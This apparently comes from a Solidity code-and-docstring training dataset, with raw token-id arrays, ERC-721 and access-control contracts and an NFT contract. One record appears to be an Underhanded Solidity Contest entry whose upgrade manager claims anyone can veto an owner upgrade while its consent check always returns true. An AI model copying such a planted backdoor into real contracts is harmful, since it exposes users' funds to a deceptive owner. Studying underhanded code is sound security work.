`transfer`. This function MAY throw to revert and reject the /// transfer. Return of other than the magic value MUST result in the /// transaction being reverted. /// Note: the contract address is always the message sender. /// @param _operator The address which called `safeTransferFrom` function /// @param _from The address which previously owned the token /// @param _tokenId The NFT identifier which is being transferred /// @param _data Additional data with no specified format /// @return `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))` /// unless throwing function onERC721Received(address _operator, address _from, uint256 _tokenId, bytes calldata _data) external returns(bytes4); } /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * * @notice See https://eips.ethereum.org/EIPS/eip-721 * * @dev The ERC-165 identifier for this interface is 0x5b5e139f. * * @author William Entriken, Dieter Shirley, Jacob Evans, Nastassia Sachs */ interface ERC721Metadata is ERC721 { /// @notice A descriptive name for a collection of NFTs in this contract function name() external view returns (string memory _name); /// @notice An abbreviated name for NFTs in this contract function symbol() external view returns (string memory _symbol); /// @notice A distinct Uniform Resource Identifier (URI) for a given asset. /// @dev Throws if `_tokenId` is not a valid NFT. URIs are defined in RFC /// 3986. The URI may point to a JSON file that conforms to the "ERC721 /// Metadata JSON Schema". function tokenURI(uint256 _tokenId) external view returns (string memory); } /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * * @notice See https://eips.ethereum.org/EIPS/eip-721 * * @dev The ERC-165 identifier for this interface is 0x780e9d63. * * @author William Entriken, Dieter Shirley, Jacob Evans, Nastassia Sachs */ interface ERC721Enumerable is ERC721 { /// @notice Count NFTs tracked by this contract /// @return A count of valid NFTs tracked by this contract, where each one of /// them has an assigned and queryable owner not equal to the zero address function totalSupply() external view returns (uint256); /// @notice Enumerate valid NFTs /// @dev Throws if `_index` >= `totalSupply()`. /// @param _index A counter less than `totalSupply()` /// @return The token identifier for the `_index`th NFT, /// (sort order not specified) function tokenByIndex(uint256 _index) external view returns (uint256); /// @notice Enumerate NFTs assigned to an owner /// @dev Throws if `_index` >= `balanceOf(_owner)` or if /// `_owner` is the zero address, representing invalid NFTs. /// @param _owner An address where we are interested in NFTs owned by them /// @param _index A counter less than `balanceOf(_owner)` /// @return The token identifier for the `_index`th NFT assigned to `_owner`, /// (sort order not specified) function tokenOfOwnerByIndex(address _owner, uint256 _index) external view returns (uint256); } // SPDX-License-Identifier: MIT pragma solidity 0.8.7; /** * @title Access Control List * * @notice Access control smart contract provides an API to check * if specific operation is permitted globally and/or * if particular user has a permission to execute it. * * @notice It deals with two main entities: features and roles. * * @notice Features are designed to be used to enable/disable specific * functions (public functions) of the smart contract for everyone. * @notice User roles are designed to restrict access to specific * functions (restricted functions) of the smart contract to some users. * * @notice Terms "role", "permissions" and "set of permissions" have equal meaning * in the documentation text and may be used interchangeably. * @notice Terms "permission", "single permission" implies only one permission bit set. * * @notice Access manager is a special role which allows to grant/revoke other roles. * Access managers can only grant/revoke permissions which they have themselves. * As an example, access manager with no other roles set can only grant/revoke its own * access manager permission and nothing else. * * @notice Access manager permission should be treated carefully, as a super admin permission: * Access manager with even no other permission can interfere with another account by * granting own access manager permission to it and effectively creating more powerful * permission set than its own. * * @dev Both current and OpenZeppelin AccessControl implementations feature a similar API * to check/know "who is allowed to do this thing". * @dev Zeppelin implementation is more flexible: * - it allows setting unlimited number of roles, while current is limited to 256 different roles * - it allows setting an admin for each role, while current allows having only one global admin * @dev Current implementation is more lightweight: * - it uses only 1 bit per role, while Zeppelin uses 256 bits * - it allows setting up to 256 roles at once, in a single transaction, while Zeppelin allows * setting only one role in a single transaction * * @dev This smart contract is designed to be inherited by other * smart contracts which require access control management capabilities. * * @dev Access manager permission has a bit 255 set. * This bit must not be used by inheriting contracts for any other permissions/features. */ contract AccessControl { /** * @notice Access manager is responsible for assigning the roles to users, * enabling/disabling global features of the smart contract * @notice Access manager can add, remove and update user roles, * remove and update global features * * @dev Role ROLE_ACCESS_MANAGER allows modifying user roles and global features * @dev Role ROLE_ACCESS_MANAGER has single bit at position 255 enabled */ uint256 public constant ROLE_ACCESS_MANAGER = 0x8000000000000000000000000000000000000000000000000000000000000000; /** * @dev Bitmask representing all the possible permissions (super admin role) * @dev Has all the bits are enabled (2^256 - 1 value) */ uint256 private constant FULL_PRIVILEGES_MASK = type(uint256).max; // before 0.8.0: uint256(-1) overflows to 0xFFFF... /** * @notice Privileged addresses with defined roles/permissions * @notice In the context of ERC20/ERC721 tokens these can be permissions to * allow minting or burning tokens, transferring on behalf and so on * * @dev Maps user address to the permissions bitmask (role), where each bit * represents a permission * @dev Bitmask 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF * represents all possible permissions * @dev 'This' address mapping represents global features of the smart contract */ mapping(address => uint256) public userRoles; /** * @dev Fired in updateRole() and updateFeatures() * * @param _by operator which called the function * @param _to address which was granted/revoked permissions * @param _requested permissions requested * @param _actual permissions effectively set */ event RoleUpdated(address indexed _by, address indexed _to, uint256 _requested, uint256 _actual); /** * @notice Creates an access control instance, * setting contract creator to have full privileges */ constructor() { // contract creator has full privileges userRoles[msg.sender] = FULL_PRIVILEGES_MASK; } /** * @notice Retrieves globally set of features enabled * * @dev Effectively reads userRoles role for the contract itself * * @return 256-bit bitmask of the features enabled */ function features() public view returns(uint256) { // features are stored in 'this' address mapping of `userRoles` structure return userRoles[address(this)]; } /** * @notice Updates set of the globally enabled features (`features`), * taking into account sender's permissions * * @dev Requires transaction sender to have `ROLE_ACCESS_MANAGER` permission * @dev Function is left for backward compatibility with older versions * * @param _mask bitmask representing a set of features to enable/disable */ function updateFeatures(uint256 _mask) public { // delegate call to `updateRole` updateRole(address(this), _mask); } /** * @notice Updates set of permissions (role) for a given user, * taking into account sender's permissions. * * @dev Setting role to zero is equivalent to removing an all permissions * @dev Setting role to `FULL_PRIVILEGES_MASK` is equivalent to * copying senders' permissions (role) to the user * @dev Requires transaction sender to have `ROLE_ACCESS_MANAGER` permission * * @param operator address of a user to alter permissions for or zero * to alter global features of the smart contract * @param role bitmask representing a set of permissions to * enable/disable for a user specified */ function updateRole(address operator, uint256 role) public { // caller must have a permission to update user roles require(isSenderInRole(ROLE_ACCESS_MANAGER), "access denied"); // evaluate the role and reassign it userRoles[operator] = evaluateBy(msg.sender, userRoles[operator], role); // fire an event emit RoleUpdated(msg.sender, operator, role, userRoles[operator]); } /** * @notice Determines the permission bitmask an operator can set on the * target permission set * @notice Used to calculate the permission bitmask to be set when requested * in `updateRole` and `updateFeatures` functions * * @dev Calculated based on: * 1) operator's own permission set read from userRoles[operator] * 2) target permission set - what is already set on the target * 3) desired permission set - what do we want set target to * * @dev Corner cases: * 1) Operator is super admin and its permission set is `FULL_PRIVILEGES_MASK`: * `desired` bitset is returned regardless of the `target` permission set value * (what operator sets is what they get) * 2) Operator with no permissions (zero bitset): * `target` bitset is returned regardless of the `desired` value * (operator has no authority and cannot modify anything) * * @dev Example: * Consider an operator with the permissions bitmask 00001111 * is about to modify the target permission set 01010101 * Operator wants to set that permission set to 00110011 * Based on their role, an operator has the permissions * to update only lowest 4 bits on the target, meaning that * high 4 bits of the target set in this example is left * unchanged and low 4 bits get changed as desired: 01010011 * * @param operator address of the contract operator which is about to set the permissions * @param target input set of permissions to operator is going to modify * @param desired desired set of permissions operator would like to set * @return resulting set of permissions given operator will set */ function evaluateBy(address operator, uint256 target, uint256 desired) public view returns(uint256) { // read operator's permissions uint256 p = userRoles[operator]; // taking into account operator's permissions, // 1) enable the permissions desired on the `target` target |= p & desired; // 2) disable the permissions desired on the `target` target &= FULL_PRIVILEGES_MASK ^ (p & (FULL_PRIVILEGES_MASK ^ desired)); // return calculated result return target; } /** * @notice Checks if requested set of features is enabled globally on the contract * * @param required set of features to check against * @return true if all the features requested are enabled, false otherwise */ function isFeatureEnabled(uint256 required) public view returns(bool) { // delegate call to `__hasRole`, passing `features` property return __hasRole(features(), required); } /** * @notice Checks if transaction sender `msg.sender` has all the permissions required * * @param required set of permissions (role) to check against * @return true if all the permissions requested are enabled, false otherwise */ function isSenderInRole(uint256 required) public view returns(bool) { // delegate call to `isOperatorInRole`, passing transaction sender return isOperatorInRole(msg.sender, required); } /** * @notice Checks if operator has all the permissions (role) required * * @param operator address of the user to check role for * @param required set of permissions (role) to check * @return true if all the permissions requested are enabled, false otherwise */ function isOperatorInRole(address operator, uint256 required) public view returns(bool) { // delegate call to `__hasRole`, passing operator's permissions (role) return __hasRole(userRoles[operator], required); } /** * @dev Checks if role `actual` contains all the permissions required `required` * * @param actual existent role * @param required required role * @return true if actual has required role (all permissions), false otherwise */ function __hasRole(uint256 actual, uint256 required) internal pure returns(bool) { // check the bitmask for the role required and return the result return actual & required == required; } } // SPDX-License-Identifier: MIT pragma solidity 0.8.7; /** * @title ERC-165 Standard Interface Detection * * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * @dev Implementers can declare support of contract interfaces, * which can then be queried by others. * * @author Christian Reitwießner, Nick Johnson, Fabian Vogelsteller, Jordi Baylina, Konrad Feldmeier, William Entriken */ interface ERC165 { /** * @notice Query if a contract implements an interface * * @dev Interface identification is specified in ERC-165. * This function uses less than 30,000 gas. * * @param interfaceID The interface identifier, as specified in ERC-165 * @return `true` if the contract implements `interfaceID` and * `interfaceID` is not 0xffffffff, `false` otherwise */ function supportsInterface(bytes4 interfaceID) external view returns (bool); }
* @dev Testing time-dependent functionality may be difficult; we override time in the helper test smart contract (mock) @return `block.timestamp` in mainnet, custom values in testnets (if overridden)/ return current block timestamp
function now32() public view virtual returns (uint32) { return uint32(block.timestamp); }
113,874
[ 1, 22218, 813, 17, 10891, 14176, 2026, 506, 3122, 17551, 31, 1377, 732, 3849, 813, 316, 326, 4222, 1842, 13706, 6835, 261, 22851, 13, 327, 1375, 2629, 18, 5508, 68, 316, 2774, 2758, 16, 1679, 924, 316, 1842, 11296, 261, 430, 11000, 13176, 327, 783, 1203, 2858, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 202, 915, 2037, 1578, 1435, 1071, 1476, 5024, 1135, 261, 11890, 1578, 13, 288, 203, 202, 202, 2463, 2254, 1578, 12, 2629, 18, 5508, 1769, 203, 202, 97, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: MIT pragma solidity >=0.7.0; pragma experimental ABIEncoderV2; // Required for Diamond Standard // Latest published version now is 1.3.5 import "https://github.com/mudgen/diamond-1/blob/1.3.5/contracts/Diamond.sol"; import "https://github.com/mudgen/diamond-1/blob/1.3.5/contracts/facets/DiamondCutFacet.sol"; library ManagerDataA { bytes32 constant DIAMOND_STORAGE_POSITION = keccak256("org.soliditylang.underhanded.submission224.storage"); struct DiamondStorage { uint256 proposedUpgradeTime; bool hasAnybodyVetoed; // diamondCut() call parameters: IDiamondCut.FacetCut[] readyDiamondCut; address readyInit; bytes readyCalldata; } function diamondStorage() internal pure returns (DiamondStorage storage ds) { bytes32 position = DIAMOND_STORAGE_POSITION; assembly { ds.slot := position } } } contract ManagerFacet1 is DiamondCutFacet { function proposeUpgrade(IDiamondCut.FacetCut[] calldata proposedDiamondCut, address proposedInit, bytes calldata ProposedCalldata) public { assert(msg.sender == LibDiamond.contractOwner()); ManagerDataA.diamondStorage().proposedUpgradeTime = block.timestamp; ManagerDataA.diamondStorage().hasAnybodyVetoed = false; delete ManagerDataA.diamondStorage().readyDiamondCut; for (uint256 facetIndex; facetIndex < proposedDiamondCut.length; facetIndex++) { ManagerDataA.diamondStorage().readyDiamondCut.push( FacetCut( proposedDiamondCut[facetIndex].facetAddress, proposedDiamondCut[facetIndex].action, proposedDiamondCut[facetIndex].functionSelectors ) ); } ManagerDataA.diamondStorage().readyInit = proposedInit; ManagerDataA.diamondStorage().readyCalldata = ProposedCalldata; } // Anybody can veto the upgrade, that will stop the owner from upgrading function vetoUpgrade() public { ManagerDataA.diamondStorage().hasAnybodyVetoed = true; } // Give owner full permission to upgrade, re-implemented in v2 function isUpgradeConsented() public returns(bool) { return true; } function performUpgrade() public { assert(isUpgradeConsented()); assert(block.timestamp > ManagerDataA.diamondStorage().proposedUpgradeTime + 60*60*24*30); // These lines copy-pasted from // https://github.com/mudgen/diamond-1/blob/1.3.5/contracts/facets/DiamondCutFacet.sol#L26-L36 // with variables renamed to ready* as above uint256 selectorCount = LibDiamond.diamondStorage().selectors.length; for (uint256 facetIndex; facetIndex < ManagerDataA.diamondStorage().readyDiamondCut.length; facetIndex++) { selectorCount = LibDiamond.addReplaceRemoveFacetSelectors( selectorCount, ManagerDataA.diamondStorage().readyDiamondCut[facetIndex].facetAddress, ManagerDataA.diamondStorage().readyDiamondCut[facetIndex].action, ManagerDataA.diamondStorage().readyDiamondCut[facetIndex].functionSelectors ); } emit DiamondCut(ManagerDataA.diamondStorage().readyDiamondCut, ManagerDataA.diamondStorage().readyInit, ManagerDataA.diamondStorage().readyCalldata); LibDiamond.initializeDiamondCut(ManagerDataA.diamondStorage().readyInit, ManagerDataA.diamondStorage().readyCalldata); // end copy-paste delete ManagerDataA.diamondStorage().proposedUpgradeTime; delete ManagerDataA.diamondStorage().hasAnybodyVetoed; delete ManagerDataA.diamondStorage().readyDiamondCut; delete ManagerDataA.diamondStorage().readyInit; delete ManagerDataA.diamondStorage().readyCalldata; } function proposeUpgradeSEL() public pure returns(bytes4) {return this.proposeUpgrade.selector;} function vetoUpgradeSEL() public pure returns(bytes4) {return this.vetoUpgrade.selector;} function isUpgradeConsentedSEL() public pure returns(bytes4) {return this.isUpgradeConsented.selector;} function performUpgradeSEL() public pure returns(bytes4) {return this.performUpgrade.selector;} } /* ******************************************************************************************** */ contract ScholarshipFacet1 { // This is the well-known address of Mary Princeton, a deserving scholar address payable constant MARY_PRINCETON = 0x829bD824b016326a401D083B33D093a93333a830; // Only the scholar may take funds function takeScholarship() public { assert(msg.sender == MARY_PRINCETON); MARY_PRINCETON.transfer(address(this).balance); } function takeScholarshipSEL() public pure returns(bytes4) {return this.takeScholarship.selector;} } /* ******************************************************************************************** */ contract ManagerFacet2 is DiamondCutFacet{ // Give owner full permission to upgrade, re-implemented in v2 function isUpgradeConsented() public returns(bool) { return ManagerDataA.diamondStorage().hasAnybodyVetoed == false; } function isUpgradeConsentedSEL() public pure returns(bytes4) {return this.isUpgradeConsented.selector;} }
This is the well-known address of Mary Princeton, a deserving scholar Only the scholar may take funds
contract ScholarshipFacet1 { address payable constant MARY_PRINCETON = 0x829bD824b016326a401D083B33D093a93333a830; function takeScholarship() public { assert(msg.sender == MARY_PRINCETON); MARY_PRINCETON.transfer(address(this).balance); } function takeScholarshipSEL() public pure returns(bytes4) {return this.takeScholarship.selector;} }
13,089,272
[ 1, 2503, 353, 326, 5492, 17, 2994, 1758, 434, 490, 814, 2301, 9523, 278, 265, 16, 279, 5620, 6282, 18551, 355, 297, 5098, 326, 18551, 355, 297, 2026, 4862, 284, 19156, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 16351, 348, 343, 355, 976, 625, 11137, 21, 288, 203, 565, 1758, 8843, 429, 5381, 490, 6043, 67, 8025, 706, 1441, 56, 673, 273, 374, 92, 28, 5540, 70, 40, 28, 3247, 70, 24171, 27284, 69, 27002, 40, 6840, 23, 38, 3707, 40, 5908, 23, 69, 29, 18094, 69, 28, 5082, 31, 203, 377, 203, 203, 565, 445, 4862, 55, 343, 355, 976, 625, 1435, 1071, 288, 203, 3639, 1815, 12, 3576, 18, 15330, 422, 490, 6043, 67, 8025, 706, 1441, 56, 673, 1769, 203, 3639, 490, 6043, 67, 8025, 706, 1441, 56, 673, 18, 13866, 12, 2867, 12, 2211, 2934, 12296, 1769, 203, 565, 289, 203, 377, 203, 565, 445, 4862, 55, 343, 355, 976, 625, 1090, 48, 1435, 1071, 16618, 1135, 12, 3890, 24, 13, 288, 2463, 333, 18, 22188, 55, 343, 355, 976, 625, 18, 9663, 31, 97, 203, 97, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /// @creator: Pak /// @author: manifold.xyz import "@manifoldxyz/libraries-solidity/contracts/access/AdminControl.sol"; import "@openzeppelin/contracts/token/ERC721/ERC721.sol"; import "@openzeppelin/contracts/utils/Strings.sol"; ///////////////////////////////////////////////////////// // _____ _____ _____ _____ _____ _____ _____ // // | || | || _ || _ ||_ _|| __|| __ | // // | --|| || || __| | | | __|| -| // // |_____||__|__||__|__||__| |_| |_____||__|__| // // _____ _____ _____ // // | || | || __| // // | | || | | || __| // // |_____||_|___||_____| // // _____ _____ _____ _____ _____ _____ // // | || _ || __ || __ || || | | // // | --|| || -|| __ -|| | || | | | // // |_____||__|__||__|__||_____||_____||_|___| // // // ///////////////////////////////////////////////////////// contract Carbon is AdminControl, ERC721 { using Strings for uint256; uint256 public constant MAX_TOKENS = 1000; uint256 _tokenIndex; mapping(uint256 => string) private _tokenURIs; string private _commonURI; string private _prefixURI; string private _assetURI; // Marketplace configuration address private _marketplace; uint256 private _listingId; bytes4 private constant _INTERFACE_MARKETPLACE_LAZY_DELIVERY = 0xc83afbd0; uint256 private _royaltyBps; address payable private _royaltyRecipient; bytes4 private constant _INTERFACE_ID_ROYALTIES_CREATORCORE = 0xbb3bafd6; bytes4 private constant _INTERFACE_ID_ROYALTIES_EIP2981 = 0x2a55205a; bytes4 private constant _INTERFACE_ID_ROYALTIES_RARIBLE = 0xb7799584; constructor() ERC721("Carbon", "C") { _tokenIndex++; _mint(msg.sender, _tokenIndex); } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(AdminControl, ERC721) returns (bool) { return ERC721.supportsInterface(interfaceId) || AdminControl.supportsInterface(interfaceId) || interfaceId == _INTERFACE_ID_ROYALTIES_CREATORCORE || interfaceId == _INTERFACE_ID_ROYALTIES_EIP2981 || interfaceId == _INTERFACE_ID_ROYALTIES_RARIBLE || interfaceId == _INTERFACE_MARKETPLACE_LAZY_DELIVERY; } /** * @dev Mint tokens */ function mint(address[] calldata receivers, string[] calldata uris) public adminRequired { require(uris.length == 0 || receivers.length == uris.length, "Invalid input"); require(_tokenIndex + receivers.length <= MAX_TOKENS, "Too many requested"); bool setURIs = uris.length > 0; for (uint i = 0; i < receivers.length; i++) { _tokenIndex++; _mint(receivers[i], _tokenIndex); if (setURIs) { _tokenURIs[_tokenIndex] = uris[i]; } } } /** * @dev Set the listing */ function setListing(address marketplace, uint256 listingId) external adminRequired { _marketplace = marketplace; _listingId = listingId; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); if (bytes(_tokenURIs[tokenId]).length != 0) { return _tokenURIs[tokenId]; } if (bytes(_commonURI).length != 0) { return _commonURI; } return string(abi.encodePacked(_prefixURI, tokenId.toString())); } /** * @dev Set the image base uri (prefix) */ function setPrefixURI(string calldata uri) external adminRequired { _commonURI = ''; _prefixURI = uri; } /** * @dev Set the image base uri (common for all tokens) */ function setCommonURI(string calldata uri) external adminRequired { _commonURI = uri; _prefixURI = ''; } /** * @dev Set the asset uri for unsold item */ function setAssetURI(string calldata uri) external adminRequired { _assetURI = uri; } /** * @dev Deliver token from a marketplace sale */ function deliver(address, uint256 listingId, uint256 assetId, address to, uint256, uint256 index) external returns(uint256) { require(msg.sender == _marketplace && listingId == _listingId && assetId == 1 && index == 0, "Invalid call data"); require(_tokenIndex + 1 <= MAX_TOKENS, "Too many requested"); _tokenIndex++; _mint(to, _tokenIndex); return _tokenIndex; } /** * @dev Return asset data for a marketplace sale */ function assetURI(uint256 assetId) external view returns(string memory) { require(assetId == 1, "Invalid asset"); return _assetURI; } /** * @dev Set token uri */ function setTokenURIs(uint256[] calldata tokenIds, string[] calldata uris) external adminRequired { require(tokenIds.length == uris.length, "Invalid input"); for (uint i = 0; i < tokenIds.length; i++) { _tokenURIs[tokenIds[i]] = uris[i]; } } /** * @dev Update royalties */ function updateRoyalties(address payable recipient, uint256 bps) external adminRequired { _royaltyRecipient = recipient; _royaltyBps = bps; } function _transfer(address from, address to, uint256 tokenId) internal virtual override { if (to == address(0xdead)) { super._burn(tokenId); } else { super._transfer(from, to, tokenId); } } /** * ROYALTY FUNCTIONS */ function getRoyalties(uint256) external view returns (address payable[] memory recipients, uint256[] memory bps) { if (_royaltyRecipient != address(0x0)) { recipients = new address payable[](1); recipients[0] = _royaltyRecipient; bps = new uint256[](1); bps[0] = _royaltyBps; } return (recipients, bps); } function getFeeRecipients(uint256) external view returns (address payable[] memory recipients) { if (_royaltyRecipient != address(0x0)) { recipients = new address payable[](1); recipients[0] = _royaltyRecipient; } return recipients; } function getFeeBps(uint256) external view returns (uint[] memory bps) { if (_royaltyRecipient != address(0x0)) { bps = new uint256[](1); bps[0] = _royaltyBps; } return bps; } function royaltyInfo(uint256, uint256 value) external view returns (address, uint256) { return (_royaltyRecipient, value*_royaltyBps/10000); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Strings.sol) pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/ERC721.sol) pragma solidity ^0.8.0; import "./IERC721.sol"; import "./IERC721Receiver.sol"; import "./extensions/IERC721Metadata.sol"; import "../../utils/Address.sol"; import "../../utils/Context.sol"; import "../../utils/Strings.sol"; import "../../utils/introspection/ERC165.sol"; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); 